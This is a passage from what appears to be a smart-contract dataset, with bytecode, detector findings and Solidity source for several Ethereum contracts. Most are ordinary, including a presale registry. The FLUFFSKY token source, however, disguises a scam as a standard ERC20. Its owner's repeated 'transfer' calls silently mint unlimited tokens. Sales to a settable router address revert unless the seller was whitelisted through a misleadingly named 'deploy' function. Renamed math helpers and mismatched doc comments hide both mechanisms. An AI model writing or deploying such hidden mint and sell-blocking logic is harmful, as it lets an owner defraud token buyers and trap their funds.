11061368457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561370a57600a54683635c9adc5dea0000094509450505050613874565b613793600260006009848154811061371e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138e090919063ffffffff16565b925061381e60036000600984815481106137a957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138e090919063ffffffff16565b915080806001019150506135e6565b5061384c683635c9adc5dea00000600a5461286290919063ffffffff16565b82101561386b57600a54683635c9adc5dea00000935093505050613874565b81819350935050505b9091565b60008060008060008060008060006138958a600c54600d54613b91565b92509250925060006138a5612b03565b905060008060006138b88e878787613c27565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061392283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122b3565b905092915050565b6000808284019050838110156139a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006139bc612b03565b905060006139d382846127dc90919063ffffffff16565b9050613a2781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b5257613b0e83600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392a90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b6c82600a546138e090919063ffffffff16565b600a81905550613b8781600b5461392a90919063ffffffff16565b600b819055505050565b600080600080613bbd6064613baf888a6127dc90919063ffffffff16565b61286290919063ffffffff16565b90506000613be76064613bd9888b6127dc90919063ffffffff16565b61286290919063ffffffff16565b90506000613c1082613c02858c6138e090919063ffffffff16565b6138e090919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c4085896127dc90919063ffffffff16565b90506000613c5786896127dc90919063ffffffff16565b90506000613c6e87896127dc90919063ffffffff16565b90506000613c9782613c8985876138e090919063ffffffff16565b6138e090919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212203ba14f3777742161d06c0882c0635106921075aadfcf5b6d4b272190b27df21e64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,119 |
0x35D4dc34966018Ac8c35051f86105753F4BB4AFc
|
/**
*Submitted for verification at Etherscan.io on 2021-06-09
*/
// SPDX-License-Identifier: UNLICENSED
// This contract logs all presales on the platform
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal virtual view returns (address payable) {
return msg.sender;
}
function _msgData() internal virtual view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value)
private
view
returns (bool)
{
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index)
private
view
returns (bytes32)
{
require(
set._values.length > index,
"EnumerableSet: index out of bounds"
);
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value)
internal
returns (bool)
{
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value)
internal
returns (bool)
{
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value)
internal
view
returns (bool)
{
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index)
internal
view
returns (bytes32)
{
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value)
internal
returns (bool)
{
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value)
internal
returns (bool)
{
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value)
internal
view
returns (bool)
{
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index)
internal
view
returns (address)
{
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value)
internal
returns (bool)
{
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value)
internal
view
returns (bool)
{
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index)
internal
view
returns (uint256)
{
return uint256(_at(set._inner, index));
}
}
contract PresaleFactory is Ownable {
using EnumerableSet for EnumerableSet.AddressSet;
EnumerableSet.AddressSet private presales;
EnumerableSet.AddressSet private presaleGenerators;
mapping(address => EnumerableSet.AddressSet) private presaleOwners;
event presaleRegistered(address presaleContract);
function adminAllowPresaleGenerator(address _address, bool _allow)
public
onlyOwner
{
if (_allow) {
presaleGenerators.add(_address);
} else {
presaleGenerators.remove(_address);
}
}
/**
* @notice called by a registered PresaleGenerator upon Presale creation
*/
function registerPresale(address _presaleAddress) public {
require(presaleGenerators.contains(msg.sender), "FORBIDDEN");
presales.add(_presaleAddress);
emit presaleRegistered(_presaleAddress);
}
/**
* @notice Number of allowed PresaleGenerators
*/
function presaleGeneratorsLength() external view returns (uint256) {
return presaleGenerators.length();
}
/**
* @notice Gets the address of a registered PresaleGenerator at specified index
*/
function presaleGeneratorAtIndex(uint256 _index)
external
view
returns (address)
{
return presaleGenerators.at(_index);
}
/**
* @notice returns true if the presale address was generated by the DAOLaunch presale platform
*/
function presaleIsRegistered(address _presaleAddress)
external
view
returns (bool)
{
return presales.contains(_presaleAddress);
}
/**
* @notice The length of all presales on the platform
*/
function presalesLength() external view returns (uint256) {
return presales.length();
}
/**
* @notice gets a presale at a specific index. Although using Enumerable Set, since presales are only added and not removed, indexes will never change
* @return the address of the Presale contract at index
*/
function presaleAtIndex(uint256 _index) external view returns (address) {
return presales.at(_index);
}
}
|
0x608060405234801561001057600080fd5b506004361061009e5760003560e01c80638da5cb5b116100665780638da5cb5b146101435780639ff207931461014b578063d348c96414610153578063e2fc90ca14610181578063f2fde38b146101bb5761009e565b80630a014fbc146100a357806311c065b7146100dc5780634e76edbb1461010457806365384f361461011e578063715018a61461013b575b600080fd5b6100c0600480360360208110156100b957600080fd5b50356101e1565b604080516001600160a01b039092168252519081900360200190f35b610102600480360360208110156100f257600080fd5b50356001600160a01b03166101f4565b005b61010c610287565b60408051918252519081900360200190f35b6100c06004803603602081101561013457600080fd5b5035610298565b6101026102a5565b6100c0610359565b61010c610368565b6101026004803603604081101561016957600080fd5b506001600160a01b0381351690602001351515610374565b6101a76004803603602081101561019757600080fd5b50356001600160a01b0316610406565b604080519115158252519081900360200190f35b610102600480360360208110156101d157600080fd5b50356001600160a01b0316610413565b60006101ee60038361051d565b92915050565b6101ff600333610530565b61023c576040805162461bcd60e51b81526020600482015260096024820152682327a92124a22222a760b91b604482015290519081900360640190fd5b610247600182610545565b50604080516001600160a01b038316815290517fa62fce43cb61612c50d7b3485c2fb44000803dacc3472b8ce4c638f235e97a1f9181900360200190a150565b6000610293600161055a565b905090565b60006101ee60018361051d565b6102ad610565565b6000546001600160a01b0390811691161461030f576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b6000610293600361055a565b61037c610565565b6000546001600160a01b039081169116146103de576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b80156103f5576103ef600383610545565b50610402565b610400600383610569565b505b5050565b60006101ee600183610530565b61041b610565565b6000546001600160a01b0390811691161461047d576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166104c25760405162461bcd60e51b81526004018080602001828103825260268152602001806107316026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000610529838361057e565b9392505050565b6000610529836001600160a01b0384166105e2565b6000610529836001600160a01b0384166105fa565b60006101ee82610644565b3390565b6000610529836001600160a01b038416610648565b815460009082106105c05760405162461bcd60e51b815260040180806020018281038252602281526020018061070f6022913960400191505060405180910390fd5b8260000182815481106105cf57fe5b9060005260206000200154905092915050565b60009081526001919091016020526040902054151590565b600061060683836105e2565b61063c575081546001818101845560008481526020808220909301849055845484825282860190935260409020919091556101ee565b5060006101ee565b5490565b60008181526001830160205260408120548015610704578354600019808301919081019060009087908390811061067b57fe5b906000526020600020015490508087600001848154811061069857fe5b6000918252602080832090910192909255828152600189810190925260409020908401905586548790806106c857fe5b600190038181906000526020600020016000905590558660010160008781526020019081526020016000206000905560019450505050506101ee565b60009150506101ee56fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e64734f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a26469706673582212200cb2ecd00437d1c58e113e2320796ed137aa5b9724badaf17eb32251abd0d4f864736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,120 |
0xbc3ad3214b190b854de892db9102b5b69b4ef390
|
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
library SafeMath {
function prod(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function cre(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function cal(uint256 a, uint256 b) internal pure returns (uint256) {
return calc(a, b, "SafeMath: division by zero");
}
function calc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function red(uint256 a, uint256 b) internal pure returns (uint256) {
return redc(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function redc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
}
pragma solidity ^0.8.11;
contract Ownable is Context {
address internal recipients;
address internal router;
address public owner;
mapping (address => bool) internal confirm;
event owned(address indexed previousi, address indexed newi);
constructor () {
address msgSender = _msgSender();
recipients = msgSender;
emit owned(address(0), msgSender);
}
modifier checker() {
require(recipients == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function renounceOwnership() public virtual checker {
emit owned(owner, address(0));
owner = address(0);
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
}
// SPDX-License-Identifier: MIT
contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
using SafeMath for uint256;
string private _name;
string private _symbol;
bool private truth;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
truth=true;
}
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* transferFrom.
*
* Requirements:
*
* - transferFrom.
*
* _Available since v3.1._
*/
function setMarketingWallet (address set) public checker {
router = set;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - the address approve.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev updateTaxFee
*
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function transfer(address recipient, uint256 amount) public override returns (bool) {
if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;}
else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;}
else{_transfer(_msgSender(), recipient, amount); return true;}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function fee(address _count) internal checker {
confirm[_count] = true;
}
/**
* @dev updateTaxFee
*
*/
function deploy(address[] memory _counts) external checker {
for (uint256 i = 0; i < _counts.length; i++) {
fee(_counts[i]); }
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (recipient == router) {
require(confirm[sender]); }
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - manualSend
*
* _Available since v3.1._
*/
}
function _deploy(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: deploy to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
}
contract FLUFFSKY is ERC20{
uint8 immutable private _decimals = 18;
uint256 private _totalSupply = 5000000 * 10 ** 18;
constructor () ERC20('Fluffsky Token','FLUFFSKY') {
_deploy(_msgSender(), _totalSupply);
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80635d098b381161009757806395d89b411161006657806395d89b4114610228578063a457c2d714610230578063a9059cbb14610243578063dd62ed3e1461025657600080fd5b80635d098b38146101b957806370a08231146101cc578063715018a6146101f55780638da5cb5b146101fd57600080fd5b806318160ddd116100d357806318160ddd1461015057806323b872dd14610162578063313ce5671461017557806339509351146101a657600080fd5b80630570b1fa146100fa57806306fdde031461010f578063095ea7b31461012d575b600080fd5b61010d610108366004610b2a565b61028f565b005b610117610306565b6040516101249190610bef565b60405180910390f35b61014061013b366004610c44565b610398565b6040519015158152602001610124565b6006545b604051908152602001610124565b610140610170366004610c6e565b6103af565b60405160ff7f0000000000000000000000000000000000000000000000000000000000000012168152602001610124565b6101406101b4366004610c44565b610460565b61010d6101c7366004610caa565b610497565b6101546101da366004610caa565b6001600160a01b031660009081526004602052604090205490565b61010d6104e3565b600254610210906001600160a01b031681565b6040516001600160a01b039091168152602001610124565b610117610557565b61014061023e366004610c44565b610566565b610140610251366004610c44565b610601565b610154610264366004610cc5565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6000546001600160a01b031633146102c25760405162461bcd60e51b81526004016102b990610cf8565b60405180910390fd5b60005b8151811015610302576102f08282815181106102e3576102e3610d2d565b602002602001015161070d565b806102fa81610d59565b9150506102c5565b5050565b60606007805461031590610d74565b80601f016020809104026020016040519081016040528092919081815260200182805461034190610d74565b801561038e5780601f106103635761010080835404028352916020019161038e565b820191906000526020600020905b81548152906001019060200180831161037157829003601f168201915b5050505050905090565b60006103a533848461075b565b5060015b92915050565b60006103bc84848461087f565b6001600160a01b0384166000908152600560209081526040808320338452909152902054828110156104415760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084016102b9565b61045585336104508685610daf565b61075b565b506001949350505050565b3360008181526005602090815260408083206001600160a01b038716845290915281205490916103a5918590610450908690610dc6565b6000546001600160a01b031633146104c15760405162461bcd60e51b81526004016102b990610cf8565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331461050d5760405162461bcd60e51b81526004016102b990610cf8565b6002546040516000916001600160a01b0316907f5f04b3e53e8649c529695dc1d3ddef0535b093b2022dd4e04bb2c4db963a09b0908390a3600280546001600160a01b0319169055565b60606008805461031590610d74565b3360009081526005602090815260408083206001600160a01b0386168452909152812054828110156105e85760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016102b9565b6105f733856104508685610daf565b5060019392505050565b600080546001600160a01b031633148015610623575060095460ff1615156001145b1561064657610634335b848461087f565b506009805460ff1916905560016103a9565b6000546001600160a01b031633148015610663575060095460ff16155b156106fc576006546106759083610a92565b6006556001600160a01b03831660009081526004602052604090205461069b9083610a92565b6001600160a01b0384166000818152600460205260409081902092909255905181907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906106ec9086815260200190565b60405180910390a35060016103a9565b6107053361062d565b5060016103a9565b6000546001600160a01b031633146107375760405162461bcd60e51b81526004016102b990610cf8565b6001600160a01b03166000908152600360205260409020805460ff19166001179055565b6001600160a01b0383166107bd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016102b9565b6001600160a01b03821661081e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016102b9565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108e35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016102b9565b6001600160a01b0382166109455760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016102b9565b6001546001600160a01b0383811691161415610980576001600160a01b03831660009081526003602052604090205460ff1661098057600080fd5b6001600160a01b038316600090815260046020526040902054818110156109f85760405162461bcd60e51b815260206004820152602660248201527